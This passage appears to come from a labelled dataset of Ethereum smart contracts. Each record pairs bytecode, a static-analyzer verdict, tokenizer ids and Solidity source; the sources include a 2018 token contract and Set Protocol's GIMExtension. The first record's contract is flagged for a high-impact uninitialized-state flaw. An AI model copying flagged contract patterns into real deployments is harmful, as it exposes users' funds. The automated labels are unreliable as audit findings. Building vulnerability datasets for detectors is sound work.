548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61059560023461062c90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156105c0573d6000803e3d6000fd5b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000818301905082811015151561062357fe5b80905092915050565b6000818381151561063957fe5b049050929150505600a165627a7a7230582023403e8dc562e5a93fc8e55563843fa711bbfe9b59a30ecabadc16e99d485b7f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 24434, 26224, 28154, 22022, 2094, 12740, 23777, 2692, 14141, 2549, 5243, 2692, 3207, 2683, 2497, 16576, 22907, 23777, 2629, 2278, 2620, 2278, 2475, 2050, 17465, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1996, 2197, 6047, 3206, 2018, 2070, 3036, 8198, 1013, 1013, 2023, 2003, 1996, 2117, 6047, 3206, 2005, 1996, 2066, 3444, 1013, 1013, 2214, 3206, 2064, 2022, 2464, 2012, 16770, 1024, 1013, 1013, 28855, 29378, 1012, 22834, 1013, 4769, 1013, 1014, 2595, 2575, 6305, 2094, 16048, 28332, 2050, 2475, 2050, 2692, 21472, 29292, 11387, 2581, 2094, 2487, 2497, 23833, 16703, 2692, 2475, 8586, 2487, 2050, 23352, 2050, 2581, 2094, 22203, 1013, 1013, 2951, 2003, 10964, 2013, 1996, 2197, 3206, 1013, 1013, 2502, 11245, 5833, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,714
0x9737c2ac8f49dd4376b489daa4eae301afde7c1b
pragma solidity ^0.4.8 ; contract Ownable { address owner ; function Ownable () { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } function transfertOwnership (address newOwner ) onlyOwner { owner = newOwner ; } } contract EuroSibEnergo_CIP_IV_20180621 is Ownable { string public constant name = " EuroSibEnergo_CIP_IV_20180621 " ; string public constant symbol = " ESECIPIV " ; uint32 public constant decimals = 18 ; uint public totalSupply = 0 ; mapping (address => uint) balances; mapping (address => mapping(address => uint)) allowed; function mint(address _to, uint _value) onlyOwner { assert(totalSupply + _value >= totalSupply && balances[_to] + _value >= balances[_to]); balances[_to] += _value; totalSupply += _value; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function transfer(address _to, uint _value) returns (bool success) { if(balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; return true; } return false; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { if( allowed[_from][msg.sender] >= _value && balances[_from] >= _value && balances[_to] + _value >= balances[_to]) { allowed[_from][msg.sender] -= _value; balances[_from] -= _value; balances[_to] += _value; Transfer(_from, _to, _value); return true; } return false; } function approve(address _spender, uint _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014257806318160ddd1461019c57806323b872dd146101c5578063313ce5671461023e57806340c10f191461027357806370a08231146102b557806395d89b4114610302578063a9059cbb14610390578063d912d248146103ea578063dd62ed3e14610423575b600080fd5b34156100bf57600080fd5b6100c761048f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101075780820151818401526020810190506100ec565b50505050905090810190601f1680156101345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014d57600080fd5b610182600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104c8565b604051808215151515815260200191505060405180910390f35b34156101a757600080fd5b6101af6105ba565b6040518082815260200191505060405180910390f35b34156101d057600080fd5b610224600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105c0565b604051808215151515815260200191505060405180910390f35b341561024957600080fd5b6102516108bc565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561027e57600080fd5b6102b3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108c1565b005b34156102c057600080fd5b6102ec600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a1b565b6040518082815260200191505060405180910390f35b341561030d57600080fd5b610315610a64565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035557808201518184015260208101905061033a565b50505050905090810190601f1680156103825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561039b57600080fd5b6103d0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a9d565b604051808215151515815260200191505060405180910390f35b34156103f557600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c21565b005b341561042e57600080fd5b610479600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cbf565b6040518082815260200191505060405180910390f35b6040805190810160405280602081526020017f094575726f536962456e6572676f5f4349505f49565f3230313830363231090981525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561068d575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107195750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110155b156108b05781600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506108b5565b600090505b9392505050565b601281565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561091c57600080fd5b6001548160015401101580156109b25750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110155b15156109ba57fe5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600b81526020017f094553454349504956090900000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b6e5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110155b15610c165781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050610c1b565b600090505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7c57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820c0d96a5e84338dda6a917f81b49cc8dd876c064616fff0cae3fa6d5796da86910029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 24434, 2278, 2475, 6305, 2620, 2546, 26224, 14141, 23777, 2581, 2575, 2497, 18139, 2683, 2850, 2050, 2549, 5243, 2063, 14142, 2487, 10354, 3207, 2581, 2278, 2487, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1022, 1025, 3206, 2219, 3085, 1063, 4769, 3954, 1025, 3853, 2219, 3085, 1006, 1007, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 4651, 4665, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2069, 12384, 2121, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 3206, 19329, 20755, 3678, 3995, 1035, 25022, 2361, 1035, 4921, 1035, 2760, 2692, 2575, 17465, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,715
0x9737C658272e66Faad39D7AD337789Ee6D54F500
/* Copyright 2021 IndexCooperative Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; import { BaseExtension } from "../lib/BaseExtension.sol"; import { IBaseManager } from "../interfaces/IBaseManager.sol"; import { IGeneralIndexModule } from "../interfaces/IGeneralIndexModule.sol"; import { ISetToken } from "../interfaces/ISetToken.sol"; /** * @title GIMExtension * @author Set Protocol * * Smart contract manager extension that acts as a pass-through contract for interacting with GeneralIndexModule. * All functions are only callable by operator. startRebalance() on GIM maps to startRebalanceWithUnits on * GIMExtension. */ contract GIMExtension is BaseExtension { using AddressArrayUtils for address[]; using SafeMath for uint256; /* ============ State Variables ============ */ ISetToken public setToken; IGeneralIndexModule public generalIndexModule; // GIM /* ============ Constructor ============ */ constructor(IBaseManager _manager, IGeneralIndexModule _generalIndexModule) public BaseExtension(_manager) { generalIndexModule = _generalIndexModule; setToken = manager.setToken(); } /* ============ External Functions ============ */ /** * ONLY OPERATOR: Submits a startRebalance call to GeneralIndexModule. Uses internal function so that this contract can be inherited and * custom startRebalance logic can be added on top. Components array is sorted in new and old components arrays in order to conform to * startRebalance interface. See GIM for function specific restrictions. * @param _components Array of components involved in rebalance inclusive of components being removed from set (targetUnit = 0) * @param _targetUnits Array of target units at end of rebalance, maps to same index of _components array * @param _positionMultiplier Position multiplier when target units were calculated, needed in order to adjust target units if fees accrued */ function startRebalanceWithUnits( address[] calldata _components, uint256[] calldata _targetUnits, uint256 _positionMultiplier ) external onlyOperator { ( address[] memory newComponents, uint256[] memory newComponentsTargetUnits, uint256[] memory oldComponentsTargetUnits ) = _sortNewAndOldComponents(_components, _targetUnits); _startRebalance(newComponents, newComponentsTargetUnits, oldComponentsTargetUnits, _positionMultiplier); } /** * ONLY OPERATOR: Submits a setTradeMaximums call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _components Array of components * @param _tradeMaximums Array of trade maximums mapping to correct component */ function setTradeMaximums( address[] memory _components, uint256[] memory _tradeMaximums ) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setTradeMaximums.selector, setToken, _components, _tradeMaximums ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setExchanges call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _components Array of components * @param _exchangeNames Array of exchange names mapping to correct component */ function setExchanges( address[] memory _components, string[] memory _exchangeNames ) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setExchanges.selector, setToken, _components, _exchangeNames ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setCoolOffPeriods call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _components Array of components * @param _coolOffPeriods Array of cool off periods to correct component */ function setCoolOffPeriods( address[] memory _components, uint256[] memory _coolOffPeriods ) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setCoolOffPeriods.selector, setToken, _components, _coolOffPeriods ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setExchangeData call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _components Array of components * @param _exchangeData Array of exchange specific arbitrary bytes data */ function setExchangeData( address[] memory _components, bytes[] memory _exchangeData ) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setExchangeData.selector, setToken, _components, _exchangeData ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setRaiseTargetPercentage call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _raiseTargetPercentage Amount to raise all component's unit targets by (in precise units) */ function setRaiseTargetPercentage(uint256 _raiseTargetPercentage) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setRaiseTargetPercentage.selector, setToken, _raiseTargetPercentage ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setTraderStatus call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _traders Array trader addresses to toggle status * @param _statuses Booleans indicating if matching trader can trade */ function setTraderStatus( address[] memory _traders, bool[] memory _statuses ) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setTraderStatus.selector, setToken, _traders, _statuses ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a setAnyoneTrade call to GeneralIndexModule. See GIM for function specific restrictions. * * @param _status Boolean indicating if anyone can call trade */ function setAnyoneTrade(bool _status) external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.setAnyoneTrade.selector, setToken, _status ); invokeManager(address(generalIndexModule), callData); } /** * ONLY OPERATOR: Submits a initialize call to GeneralIndexModule. See GIM for function specific restrictions. */ function initialize() external onlyOperator { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.initialize.selector, setToken ); invokeManager(address(generalIndexModule), callData); } /* ============ Internal Functions ============ */ /** * Internal function that creates calldata and submits startRebalance call to GeneralIndexModule. * * @param _newComponents Array of new components to add to allocation * @param _newComponentsTargetUnits Array of target units at end of rebalance for new components, maps to same index of _newComponents array * @param _oldComponentsTargetUnits Array of target units at end of rebalance for old component, maps to same index of * _setToken.getComponents() array, if component being removed set to 0. * @param _positionMultiplier Position multiplier when target units were calculated, needed in order to adjust target units * if fees accrued */ function _startRebalance( address[] memory _newComponents, uint256[] memory _newComponentsTargetUnits, uint256[] memory _oldComponentsTargetUnits, uint256 _positionMultiplier ) internal { bytes memory callData = abi.encodeWithSelector( IGeneralIndexModule.startRebalance.selector, setToken, _newComponents, _newComponentsTargetUnits, _oldComponentsTargetUnits, _positionMultiplier ); invokeManager(address(generalIndexModule), callData); } /** * Internal function that sorts components into old and new components and builds the requisite target unit arrays. Old components target units * MUST maintain the order of the components array on the SetToken. The _components array MUST contain an entry for all current components even if * component is being removed (targetUnit = 0). This is validated implicitly by calculating the amount of new components that would be added as * implied by the array lengths, if more than the expected amount of new components are added then it implies an old component is missing. * * @param _components Array of components involved in rebalance inclusive of components being removed from set (targetUnit = 0) * @param _targetUnits Array of target units at end of rebalance, maps to same index of _components array */ function _sortNewAndOldComponents( address[] memory _components, uint256[] memory _targetUnits ) internal view returns (address[] memory, uint256[] memory, uint256[] memory) { address[] memory currentComponents = setToken.getComponents(); uint256 currentSetComponentsLength = currentComponents.length; uint256 rebalanceComponentsLength = _components.length; require(rebalanceComponentsLength >= currentSetComponentsLength, "Components array must be equal or longer than current components"); // We assume that there is an entry for each old component regardless of if it's 0, so any additional components in the array // must be added as a new component. Hence we can declare the length of the new components array as the difference between // rebalanceComponentsLength and currentSetComponentsLength uint256[] memory oldComponentsTargetUnits = new uint256[](currentSetComponentsLength); address[] memory newComponents = new address[](rebalanceComponentsLength.sub(currentSetComponentsLength)); uint256[] memory newTargetUnits = new uint256[](rebalanceComponentsLength.sub(currentSetComponentsLength)); uint256 newCounter; // Count amount of components added to newComponents array to add new components to next index for (uint256 i = 0; i < rebalanceComponentsLength; i++) { address component = _components[i]; (uint256 index, bool isIn) = currentComponents.indexOf(component); if (isIn) { oldComponentsTargetUnits[index] = _targetUnits[i]; // Use index in order to map to correct component in currentComponents array } else { require(newCounter < newComponents.length, "Unexpected new component added"); newComponents[newCounter] = component; newTargetUnits[newCounter] = _targetUnits[i]; newCounter = newCounter.add(1); } } return (newComponents, newTargetUnits, oldComponentsTargetUnits); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays * * CHANGELOG: * - 4/27/21: Added validatePairsWithArray methods */ library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { (address[] memory _A,) = pop(A, index); return _A; } } /** * @param A The input array to search * @param a The address to remove */ function removeStorage(address[] storage A, address a) internal { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here if (index != lastIndex) { A[index] = A[lastIndex]; } A.pop(); } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } /** * Validate that address and uint array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of uint */ function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bool array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bool */ function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and string array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of strings */ function validatePairsWithArray(address[] memory A, string[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address array lengths match, and calling address array are not empty * and contain no duplicate elements. * * @param A Array of addresses * @param B Array of addresses */ function validatePairsWithArray(address[] memory A, address[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bytes array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bytes */ function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate address array is not empty and contains no duplicate elements. * * @param A Array of addresses */ function _validateLengthAndUniqueness(address[] memory A) internal pure { require(A.length > 0, "Array length must be > 0"); require(!hasDuplicate(A), "Cannot duplicate addresses"); } } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at 